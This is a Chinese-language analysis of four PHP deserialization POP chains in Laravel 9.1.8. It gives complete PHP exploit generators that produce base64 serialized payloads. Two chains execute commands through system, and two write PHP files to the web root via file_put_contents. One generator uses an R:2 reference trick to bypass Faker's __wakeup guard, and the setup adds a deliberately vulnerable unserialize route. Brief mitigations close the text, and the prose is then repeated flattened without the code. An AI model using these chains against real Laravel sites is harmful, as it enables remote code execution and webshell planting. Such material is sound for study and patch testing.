Laravel 9.1.8 反序列化漏洞分析
字数 1811 2025-08-27 12:33:31

Laravel 9.1.8 反序列化漏洞分析与利用

漏洞概述

Laravel 9.1.8 版本中存在多个反序列化漏洞,攻击者可以通过构造特定的反序列化链实现远程代码执行(RCE)。本文详细分析四个不同的POP(Property-Oriented Programming)链利用方式。

环境搭建

  1. 下载官方 Laravel 9.1.8 源码
  2. 执行 composer install 安装依赖
  3. 修改 routes/web.php 添加漏洞触发点:
Route::get('/', function (\Illuminate\Http\Request $request) {
    $vuln = base64_decode($request->input("vuln"));
    unserialize($vuln);
    return "H3rmesk1t";
});

或直接使用打包好的漏洞环境。

POP Chain 1分析

漏洞描述

通过 Illuminate\Broadcasting\PendingBroadcast.php__destruct 方法和 Illuminate\Bus\QueueingDispatcher.phpdispatch 方法实现RCE。

利用链分析

  1. 起点:PendingBroadcast::__destruct()

    • 调用 $this->events->dispatch($this->event)
    • $this->events$this->event 可控
  2. 进入 Dispatcher::dispatch()

    • 调用 dispatchToQueue($command)
    • $command$this->queueResolver 可控
  3. 关键点:dispatchToQueue() 中的 call_user_func

    • 通过 BroadcastEvent 控制 $command->connection
    • $this->queueResolver 设置为系统命令执行函数

利用代码

<?php
namespace Illuminate\Contracts\Queue { interface ShouldQueue {} }

namespace Illuminate\Bus {
    class Dispatcher {
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct() {
            $this->queueResolver = "system";
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Contracts\Queue\ShouldQueue;
    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "calc";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}

namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

POP Chain 2分析

漏洞描述

通过 GuzzleHttp\Cookie\FileCookieJar.php__destruct 方法实现文件写入。

利用链分析

  1. 起点:FileCookieJar::__destruct()

    • 调用 $this->save()
    • $this->filename 可控
  2. 关键点:save() 中的 file_put_contents

    • 通过 SetCookie 控制写入内容
    • $this->data['Expires'] 设置为PHP代码
    • $this->data['Discard'] 设置为0确保持久化

利用代码

<?php
namespace GuzzleHttp\Cookie {
    class SetCookie {
        private static $defaults = [
            'Name' => null,
            'Value' => null,
            'Domain' => null,
            'Path' => '/',
            'Max-Age' => null,
            'Expires' => null,
            'Secure' => false,
            'Discard' => false,
            'HttpOnly' => false
        ];
        function __construct() {
            $this->data['Expires'] = '<?php phpinfo();?>';
            $this->data['Discard'] = 0;
        }
    }
    class CookieJar {
        private $cookies = [];
        private $strictMode;
        function __construct() {
            $this->cookies[] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar {
        private $filename;
        private $storeSessionCookies;
        function __construct() {
            parent::__construct();
            $this->filename = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
            $this->storeSessionCookies = true;
        }
    }
}

namespace {
    $pop = new \GuzzleHttp\Cookie\FileCookieJar();
    echo base64_encode(serialize($pop));
}

POP Chain 3分析

漏洞描述

通过绕过 Faker\Generator.php__wakeup 限制,结合 PendingBroadcastGenerator__call 方法实现RCE。

绕过技术

  1. Generator::__wakeup() 会将 $this->formatters 重置为空数组
  2. 利用PHP引用特性(R:2)使 $this->formatters 指向其他属性
  3. 通过 SMimePart::__wakeup() 修改引用目标的值

利用链分析

  1. 起点:SMimePart 反序列化触发 __wakeup
  2. 通过引用绕过 Generator::__wakeup 限制
  3. 最终调用 Generator::__call() 执行系统命令

利用代码

<?php
namespace Faker {
    class Generator {
        protected $providers = [];
        protected $formatters = [];
        function __construct() {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        public function __construct() {
            $this->event = "calc";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part {
    abstract class AbstractPart {
        private $headers = null;
    }
    class SMimePart extends AbstractPart {
        protected $_headers;
        public $h3rmesk1t;
        function __construct() {
            $this->_headers = ["dispatch" => "system"];
            $this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}

namespace {
    $pop = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/s:49.*\"dispatch\";s:6:\"system\"/", "\\1\\3\\2\\4", serialize($pop));
    echo base64_encode(str_replace("i:9999", "R:2", $ser));
}

POP Chain 4分析

漏洞描述

结合 PendingResourceRegistration 和绕过后的 Generator 实现文件写入。

利用链分析

  1. 起点:PendingResourceRegistration::__destruct()
  2. 调用 $this->registrar->register()
  3. 通过 Generator::__call() 调用 file_put_contents
  4. 控制文件名和内容实现任意文件写入

利用代码

<?php
namespace Faker {
    class Generator {
        protected $providers = [];
        protected $formatters = [];
        function __construct() {
            $this->formatter = "register";
            $this->formatters = 9999;
        }
    }
}

namespace Illuminate\Routing {
    class PendingResourceRegistration {
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options = [];
        protected $registered = false;
        function __construct() {
            $this->registrar = new \Faker\Generator();
            $this->name = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
            $this->controller = "<?php phpinfo();system('calc');?>";
            $this->options = 8;
        }
    }
}

namespace Symfony\Component\Mime\Part {
    abstract class AbstractPart {
        private $headers = null;
    }
    class SMimePart extends AbstractPart {
        protected $_headers;
        public $h3rmesk1t;
        function __construct() {
            $this->_headers = ["register" => "file_put_contents"];
            $this->h3rmesk1t = new \Illuminate\Routing\PendingResourceRegistration();
        }
    }
}

namespace {
    $pop = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/s:49.*\"register\";s:15:\"file_put_contents\"/", "\\1\\3\\2\\4", serialize($pop));
    echo base64_encode(str_replace("i:9999", "R:2", $ser));
}

防护建议

  1. 升级到最新版本的Laravel
  2. 避免反序列化用户可控的数据
  3. 使用白名单验证反序列化类
  4. 实现 __wakeup()__destruct() 方法时进行安全检查

总结

本文详细分析了Laravel 9.1.8中的四个反序列化漏洞利用链,展示了如何通过精心构造的序列化数据实现远程代码执行或文件写入。这些漏洞的核心在于不安全的反序列化操作与PHP对象属性操控的结合利用。

Laravel 9.1.8 反序列化漏洞分析与利用 漏洞概述 Laravel 9.1.8 版本中存在多个反序列化漏洞,攻击者可以通过构造特定的反序列化链实现远程代码执行(RCE)。本文详细分析四个不同的POP(Property-Oriented Programming)链利用方式。 环境搭建 下载官方 Laravel 9.1.8 源码 执行 composer install 安装依赖 修改 routes/web.php 添加漏洞触发点: 或直接使用打包好的漏洞环境。 POP Chain 1分析 漏洞描述 通过 Illuminate\Broadcasting\PendingBroadcast.php 的 __destruct 方法和 Illuminate\Bus\QueueingDispatcher.php 的 dispatch 方法实现RCE。 利用链分析 起点: PendingBroadcast::__destruct() 调用 $this->events->dispatch($this->event) $this->events 和 $this->event 可控 进入 Dispatcher::dispatch() 调用 dispatchToQueue($command) $command 和 $this->queueResolver 可控 关键点: dispatchToQueue() 中的 call_user_func 通过 BroadcastEvent 控制 $command->connection $this->queueResolver 设置为系统命令执行函数 利用代码 POP Chain 2分析 漏洞描述 通过 GuzzleHttp\Cookie\FileCookieJar.php 的 __destruct 方法实现文件写入。 利用链分析 起点: FileCookieJar::__destruct() 调用 $this->save() $this->filename 可控 关键点: save() 中的 file_put_contents 通过 SetCookie 控制写入内容 $this->data['Expires'] 设置为PHP代码 $this->data['Discard'] 设置为0确保持久化 利用代码 POP Chain 3分析 漏洞描述 通过绕过 Faker\Generator.php 的 __wakeup 限制,结合 PendingBroadcast 和 Generator 的 __call 方法实现RCE。 绕过技术 Generator::__wakeup() 会将 $this->formatters 重置为空数组 利用PHP引用特性(R:2)使 $this->formatters 指向其他属性 通过 SMimePart::__wakeup() 修改引用目标的值 利用链分析 起点: SMimePart 反序列化触发 __wakeup 通过引用绕过 Generator::__wakeup 限制 最终调用 Generator::__call() 执行系统命令 利用代码 POP Chain 4分析 漏洞描述 结合 PendingResourceRegistration 和绕过后的 Generator 实现文件写入。 利用链分析 起点: PendingResourceRegistration::__destruct() 调用 $this->registrar->register() 通过 Generator::__call() 调用 file_put_contents 控制文件名和内容实现任意文件写入 利用代码 防护建议 升级到最新版本的Laravel 避免反序列化用户可控的数据 使用白名单验证反序列化类 实现 __wakeup() 或 __destruct() 方法时进行安全检查 总结 本文详细分析了Laravel 9.1.8中的四个反序列化漏洞利用链,展示了如何通过精心构造的序列化数据实现远程代码执行或文件写入。这些漏洞的核心在于不安全的反序列化操作与PHP对象属性操控的结合利用。